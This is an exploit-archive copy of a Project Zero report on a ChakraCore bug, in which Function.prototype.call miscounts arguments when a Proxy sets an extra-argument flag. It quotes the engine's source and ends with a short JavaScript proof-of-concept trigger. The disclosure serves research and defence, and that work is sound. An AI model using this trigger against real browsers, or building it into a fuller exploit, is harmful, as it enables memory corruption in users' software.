58 lines
No EOL
2 KiB
HTML
58 lines
No EOL
2 KiB
HTML
<!--
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1295
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Here's the method.
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Var JavascriptFunction::EntryCall(RecyclableObject* function, CallInfo callInfo, ...)
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{
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PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault);
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RUNTIME_ARGUMENTS(args, callInfo);
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ScriptContext* scriptContext = function->GetScriptContext();
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Assert(!(callInfo.Flags & CallFlags_New));
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///
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/// Check Argument[0] has internal [[Call]] property
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/// If not, throw TypeError
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///
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if (args.Info.Count == 0 || !JavascriptConversion::IsCallable(args[0]))
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{
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JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NeedFunction, _u("Function.prototype.call"));
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}
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RecyclableObject *pFunc = RecyclableObject::FromVar(args[0]);
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if (args.Info.Count == 1)
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{
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args.Values[0] = scriptContext->GetLibrary()->GetUndefined();
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}
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else
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{
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///
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/// Remove function object from the arguments and pass the rest
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///
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for (uint i = 0; i < args.Info.Count - 1; ++i)
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{
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args.Values[i] = args.Values[i + 1];
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}
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args.Info.Count = args.Info.Count - 1;
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}
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///
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/// Call the [[Call]] method on the function object
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///
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return JavascriptFunction::CallFunction<true>(pFunc, pFunc->GetEntryPoint(), args);
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}
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Chakra uses the first value of "args.Values" as "this" and "args.Info.Count - 1" as the length of the arguments. So "args.Info.Count" must always be 1 or greater.
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But the problem is that the method decrements "args.Info.Count" by one without considering the flag "CallFlags_ExtraArg". If the flag is set, the value of "args.Info.Count" will be decremented again in the next routine(ArgumentReader::AdjustArguments) because the last value of the arguments is not used as an actual argument. Therefore, the value of "args.Info.Count" becomes 0.
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PoC:
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-->
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function f() {
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print(arguments);
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}
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let call = new Proxy(Function.prototype.call, {}); // proxy calls set the flag
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call.call(f); |